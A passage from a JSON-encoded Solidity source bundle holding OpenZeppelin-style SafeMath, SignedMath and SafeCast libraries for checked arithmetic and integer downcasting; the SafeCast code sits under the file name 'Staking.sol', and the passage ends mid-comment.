v3.0._\r\n */\r\n function toInt256(uint256 value) internal pure returns (int256) {\r\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\r\n require(\r\n value \u003c= uint256(type(int256).max),\r\n \"SafeCast: value doesn\u0027t fit in an int256\"\r\n );\r\n return int256(value);\r\n }\r\n}"},"SafeMath.sol":{"content":"library SafeMath {\r\n /**\r\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryAdd(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n uint256 c = a + b;\r\n if (c \u003c a) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the substraction of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function trySub(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b \u003e a) return (false, 0);\r\n return (true, a - b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryMul(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n // Gas optimization: this is cheaper than requiring \u0027a\u0027 not being zero, but the\r\n // benefit is lost if \u0027b\u0027 is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r\n if (a == 0) return (true, 0);\r\n uint256 c = a * b;\r\n if (c / a != b) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryDiv(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a / b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function tryMod(\r\n uint256 a,\r\n uint256 b\r\n ) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a % b);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the addition of two unsigned integers, reverting on\r\n * overflow.\r\n *\r\n * Counterpart to Solidity\u0027s `+` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Addition cannot overflow.\r\n */\r\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a + b;\r\n }\r\n\r\n /**\r\n * @dev Returns the subtraction of two unsigned integers, reverting on\r\n * overflow (when the result is negative).\r\n *\r\n * Counterpart to Solidity\u0027s `-` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Subtraction cannot overflow.\r\n */\r\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a - b;\r\n }\r\n\r\n /**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on\r\n * overflow.\r\n *\r\n * Counterpart to Solidity\u0027s `*` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Multiplication cannot overflow.\r\n */\r\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a * b;\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers, reverting on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity\u0027s `/` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a / b;\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * reverting when dividing by zero.\r\n *\r\n * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a % b;\r\n }\r\n\r\n /**\r\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\r\n * overflow (when the result is negative).\r\n *\r\n * CAUTION: This function is deprecated because it requires allocating memory for the error\r\n * message unnecessarily. For custom revert reasons use {trySub}.\r\n *\r\n * Counterpart to Solidity\u0027s `-` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - Subtraction cannot overflow.\r\n */\r\n function sub(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003c= a, errorMessage);\r\n return a - b;\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the integer division of two unsigned integers, reverting with custom message on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function div(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003e 0, errorMessage);\r\n return a / b;\r\n }\r\n }\r\n\r\n /**\r\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r\n * reverting with custom message when dividing by zero.\r\n *\r\n * CAUTION: This function is deprecated because it requires allocating memory for the error\r\n * message unnecessarily. For custom revert reasons use {tryMod}.\r\n *\r\n * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r\n * opcode (which leaves remaining gas untouched) while Solidity uses an\r\n * invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n *\r\n * - The divisor cannot be zero.\r\n */\r\n function mod(\r\n uint256 a,\r\n uint256 b,\r\n string memory errorMessage\r\n ) internal pure returns (uint256) {\r\n unchecked {\r\n require(b \u003e 0, errorMessage);\r\n return a % b;\r\n }\r\n }\r\n}"},"SignedMath.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Standard signed math utilities missing in the Solidity language.\r\n */\r\nlibrary SignedMath {\r\n /**\r\n * @dev Returns the largest of two signed numbers.\r\n */\r\n function max(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003e b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the smallest of two signed numbers.\r\n */\r\n function min(int256 a, int256 b) internal pure returns (int256) {\r\n return a \u003c b ? a : b;\r\n }\r\n\r\n /**\r\n * @dev Returns the average of two signed numbers without overflow.\r\n * The result is rounded towards zero.\r\n */\r\n function average(int256 a, int256 b) internal pure returns (int256) {\r\n // Formula from the book \"Hacker\u0027s Delight\"\r\n int256 x = (a \u0026 b) + ((a ^ b) \u003e\u003e 1);\r\n return x + (int256(uint256(x) \u003e\u003e 255) \u0026 (a ^ b));\r\n }\r\n\r\n /**\r\n * @dev Returns the absolute unsigned value of a signed value.\r\n */\r\n function abs(int256 n) internal pure returns (uint256) {\r\n unchecked {\r\n // must be unchecked in order to support `n = type(int256).min`\r\n return uint256(n \u003e= 0 ? n : -n);\r\n }\r\n }\r\n}"},"Staking.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\r\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Wrappers over Solidity\u0027s uintXX/intXX casting operators with added overflow\r\n * checks.\r\n *\r\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\r\n * easily result in undesired exploitation or bugs, since developers usually\r\n * assume that overflows raise errors. `SafeCast` restores this intuition by\r\n * reverting the transaction when such an operation overflows.\r\n *\r\n * Using this library instead of the unchecked operations eliminates an entire\r\n * class of bugs, so it\u0027s recommended to use it always.\r\n *\r\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\r\n * all math on `uint256` and `int256` and then downcasting.\r\n */\r\nlibrary SafeCast {\r\n /**\r\n * @dev Returns the downcasted uint248 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint248).\r\n *\r\n * Counterpart to Solidity\u0027s `uint248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint248(uint256 value) internal pure returns (uint248) {\r\n require(\r\n value \u003c= type(uint248).max,\r\n \"SafeCast: value doesn\u0027t fit in 248 bits\"\r\n );\r\n return uint248(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint240 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint240).\r\n *\r\n * Counterpart to Solidity\u0027s `uint240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint240(uint256 value) internal pure returns (uint240) {\r\n require(\r\n value \u003c= type(uint240).max,\r\n \"SafeCast: value doesn\u0027t fit in 240 bits\"\r\n );\r\n return uint240(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint232 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint232).\r\n *\r\n * Counterpart to Solidity\u0027s `uint232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint232(uint256 value) internal pure returns (uint232) {\r\n require(\r\n value \u003c= type(uint232).max,\r\n \"SafeCast: value doesn\u0027t fit in 232 bits\"\r\n );\r\n return uint232(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint224 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint224).\r\n *\r\n * Counterpart to Solidity\u0027s `uint224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint224(uint256 value) internal pure returns (uint224) {\r\n require(\r\n value \u003c= type(uint224).max,\r\n \"SafeCast: value doesn\u0027t fit in 224 bits\"\r\n );\r\n return uint224(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint216 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint216).\r\n *\r\n * Counterpart to Solidity\u0027s `uint216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint216(uint256 value) internal pure returns (uint216) {\r\n require(\r\n value \u003c= type(uint216).max,\r\n \"SafeCast: value doesn\u0027t fit in 216 bits\"\r\n );\r\n return uint216(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint208 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint208).\r\n *\r\n * Counterpart to Solidity\u0027s `uint208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint208(uint256 value) internal pure returns (uint208) {\r\n require(\r\n value \u003c= type(uint208).max,\r\n \"SafeCast: value doesn\u0027t fit in 208 bits\"\r\n );\r\n return uint208(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint200 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint200).\r\n *\r\n * Counterpart to Solidity\u0027s `uint200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint200(uint256 value) internal pure returns (uint200) {\r\n require(\r\n value \u003c= type(uint200).max,\r\n \"SafeCast: value doesn\u0027t fit in 200 bits\"\r\n );\r\n return uint200(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint192 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint192).\r\n *\r\n * Counterpart to Solidity\u0027s `uint192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint192(uint256 value) internal pure returns (uint192) {\r\n require(\r\n value \u003c= type(uint192).max,\r\n \"SafeCast: value doesn\u0027t fit in 192 bits\"\r\n );\r\n return uint192(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint184 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint184).\r\n *\r\n * Counterpart to Solidity\u0027s `uint184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint184(uint256 value) internal pure returns (uint184) {\r\n require(\r\n value \u003c= type(uint184).max,\r\n \"SafeCast: value doesn\u0027t fit in 184 bits\"\r\n );\r\n return uint184(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint176 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint176).\r\n *\r\n * Counterpart to Solidity\u0027s `uint176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint176(uint256 value) internal pure returns (uint176) {\r\n require(\r\n value \u003c= type(uint176).max,\r\n \"SafeCast: value doesn\u0027t fit in 176 bits\"\r\n );\r\n return uint176(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint168 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint168).\r\n *\r\n * Counterpart to Solidity\u0027s `uint168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint168(uint256 value) internal pure returns (uint168) {\r\n require(\r\n value \u003c= type(uint168).max,\r\n \"SafeCast: value doesn\u0027t fit in 168 bits\"\r\n );\r\n return uint168(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint160 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint160).\r\n *\r\n * Counterpart to Solidity\u0027s `uint160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint160(uint256 value) internal pure returns (uint160) {\r\n require(\r\n value \u003c= type(uint160).max,\r\n \"SafeCast: value doesn\u0027t fit in 160 bits\"\r\n );\r\n return uint160(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint152 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint152).\r\n *\r\n * Counterpart to Solidity\u0027s `uint152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint152(uint256 value) internal pure returns (uint152) {\r\n require(\r\n value \u003c= type(uint152).max,\r\n \"SafeCast: value doesn\u0027t fit in 152 bits\"\r\n );\r\n return uint152(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint144 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint144).\r\n *\r\n * Counterpart to Solidity\u0027s `uint144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint144(uint256 value) internal pure returns (uint144) {\r\n require(\r\n value \u003c= type(uint144).max,\r\n \"SafeCast: value doesn\u0027t fit in 144 bits\"\r\n );\r\n return uint144(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint136 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint136).\r\n *\r\n * Counterpart to Solidity\u0027s `uint136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint136(uint256 value) internal pure returns (uint136) {\r\n require(\r\n value \u003c= type(uint136).max,\r\n \"SafeCast: value doesn\u0027t fit in 136 bits\"\r\n );\r\n return uint136(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint128 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint128).\r\n *\r\n * Counterpart to Solidity\u0027s `uint128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint128(uint256 value) internal pure returns (uint128) {\r\n require(\r\n value \u003c= type(uint128).max,\r\n \"SafeCast: value doesn\u0027t fit in 128 bits\"\r\n );\r\n return uint128(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint120 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint120).\r\n *\r\n * Counterpart to Solidity\u0027s `uint120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint120(uint256 value) internal pure returns (uint120) {\r\n require(\r\n value \u003c= type(uint120).max,\r\n \"SafeCast: value doesn\u0027t fit in 120 bits\"\r\n );\r\n return uint120(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint112 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint112).\r\n *\r\n * Counterpart to Solidity\u0027s `uint112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint112(uint256 value) internal pure returns (uint112) {\r\n require(\r\n value \u003c= type(uint112).max,\r\n \"SafeCast: value doesn\u0027t fit in 112 bits\"\r\n );\r\n return uint112(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint104 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint104).\r\n *\r\n * Counterpart to Solidity\u0027s `uint104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint104(uint256 value) internal pure returns (uint104) {\r\n require(\r\n value \u003c= type(uint104).max,\r\n \"SafeCast: value doesn\u0027t fit in 104 bits\"\r\n );\r\n return uint104(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint96 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint96).\r\n *\r\n * Counterpart to Solidity\u0027s `uint96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint96(uint256 value) internal pure returns (uint96) {\r\n require(\r\n value \u003c= type(uint96).max,\r\n \"SafeCast: value doesn\u0027t fit in 96 bits\"\r\n );\r\n return uint96(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint88 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint88).\r\n *\r\n * Counterpart to Solidity\u0027s `uint88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint88(uint256 value) internal pure returns (uint88) {\r\n require(\r\n value \u003c= type(uint88).max,\r\n \"SafeCast: value doesn\u0027t fit in 88 bits\"\r\n );\r\n return uint88(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint80 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint80).\r\n *\r\n * Counterpart to Solidity\u0027s `uint80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint80(uint256 value) internal pure returns (uint80) {\r\n require(\r\n value \u003c= type(uint80).max,\r\n \"SafeCast: value doesn\u0027t fit in 80 bits\"\r\n );\r\n return uint80(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint72 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint72).\r\n *\r\n * Counterpart to Solidity\u0027s `uint72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint72(uint256 value) internal pure returns (uint72) {\r\n require(\r\n value \u003c= type(uint72).max,\r\n \"SafeCast: value doesn\u0027t fit in 72 bits\"\r\n );\r\n return uint72(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint64 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint64).\r\n *\r\n * Counterpart to Solidity\u0027s `uint64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint64(uint256 value) internal pure returns (uint64) {\r\n require(\r\n value \u003c= type(uint64).max,\r\n \"SafeCast: value doesn\u0027t fit in 64 bits\"\r\n );\r\n return uint64(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint56 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint56).\r\n *\r\n * Counterpart to Solidity\u0027s `uint56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint56(uint256 value) internal pure returns (uint56) {\r\n require(\r\n value \u003c= type(uint56).max,\r\n \"SafeCast: value doesn\u0027t fit in 56 bits\"\r\n );\r\n return uint56(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint48 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint48).\r\n *\r\n * Counterpart to Solidity\u0027s `uint48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint48(uint256 value) internal pure returns (uint48) {\r\n require(\r\n value \u003c= type(uint48).max,\r\n \"SafeCast: value doesn\u0027t fit in 48 bits\"\r\n );\r\n return uint48(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint40 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint40).\r\n *\r\n * Counterpart to Solidity\u0027s `uint40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint40(uint256 value) internal pure returns (uint40) {\r\n require(\r\n value \u003c= type(uint40).max,\r\n \"SafeCast: value doesn\u0027t fit in 40 bits\"\r\n );\r\n return uint40(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint32 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint32).\r\n *\r\n * Counterpart to Solidity\u0027s `uint32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint32(uint256 value) internal pure returns (uint32) {\r\n require(\r\n value \u003c= type(uint32).max,\r\n \"SafeCast: value doesn\u0027t fit in 32 bits\"\r\n );\r\n return uint32(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint24 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint24).\r\n *\r\n * Counterpart to Solidity\u0027s `uint24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint24(uint256 value) internal pure returns (uint24) {\r\n require(\r\n value \u003c= type(uint24).max,\r\n \"SafeCast: value doesn\u0027t fit in 24 bits\"\r\n );\r\n return uint24(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint16 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint16).\r\n *\r\n * Counterpart to Solidity\u0027s `uint16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint16(uint256 value) internal pure returns (uint16) {\r\n require(\r\n value \u003c= type(uint16).max,\r\n \"SafeCast: value doesn\u0027t fit in 16 bits\"\r\n );\r\n return uint16(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint8 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint8).\r\n *\r\n * Counterpart to Solidity\u0027s `uint8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint8(uint256 value) internal pure returns (uint8) {\r\n require(\r\n value \u003c= type(uint8).max,\r\n \"SafeCast: value doesn\u0027t fit in 8 bits\"\r\n );\r\n return uint8(value);\r\n }\r\n\r\n /**\r\n * @dev Converts a signed int256 into an unsigned uint256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be greater than or equal to 0.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toUint256(int256 value) internal pure returns (uint256) {\r\n require(value \u003e= 0, \"SafeCast: value must be positive\");\r\n return uint256(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int248 from int256, reverting on\r\n * overflow (when the input is less than smallest int248 or\r\n * greater than largest int248).\r\n *\r\n * Counterpart to Solidity\u0027s `int248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\r\n downcasted = int248(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 248 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int240 from int256, reverting on\r\n * overflow (when the input is less than smallest int240 or\r\n * greater than largest int240).\r\n *\r\n * Counterpart to Solidity\u0027s `int240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\r\n downcasted = int240(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 240 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int232 from int256, reverting on\r\n * overflow (when the input is less than smallest int232 or\r\n * greater than largest int232).\r\n *\r\n * Counterpart to Solidity\u0027s `int232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\r\n downcasted = int232(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 232 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int224 from int256, reverting on\r\n * overflow (when the input is less than smallest int224 or\r\n * greater than largest int224).\r\n *\r\n * Counterpart to Solidity\u0027s `int224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\r\n downcasted = int224(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 224 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int216 from int256, reverting on\r\n * overflow (when the input is less than smallest int216 or\r\n * greater than largest int216).\r\n *\r\n * Counterpart to Solidity\u0027s `int216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\r\n downcasted = int216(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 216 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int208 from int256, reverting on\r\n * overflow (when the input is less than smallest int208 or\r\n * greater than largest int208).\r\n *\r\n * Counterpart to Solidity\u0027s `int208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\r\n downcasted = int208(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 208 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int200 from int256, reverting on\r\n * overflow (when the input is less than smallest int200 or\r\n * greater than largest int200).\r\n *\r\n * Counterpart to Solidity\u0027s `int200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\r\n downcasted = int200(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 200 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int192 from int256, reverting on\r\n * overflow (when the input is less than smallest int192 or\r\n * greater than largest int192).\r\n *\r\n * Counterpart to Solidity\u0027s `int192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\r\n downcasted = int192(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 192 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int184 from int256, reverting on\r\n * overflow (when the input is less than smallest int184 or\r\n * greater than largest int184).\r\n *\r\n * Counterpart to Solidity\u0027s `int184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\r\n downcasted = int184(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 184 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int176 from int256, reverting on\r\n * overflow (when the input is less than smallest int176 or\r\n * greater than largest int176).\r\n *\r\n * Counterpart to Solidity\u0027s `int176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\r\n downcasted = int176(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 176 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int168 from int256, reverting on\r\n * overflow (when the input is less than smallest int168 or\r\n * greater than largest int168).\r\n *\r\n * Counterpart to Solidity\u0027s `int168` operator.\r\n 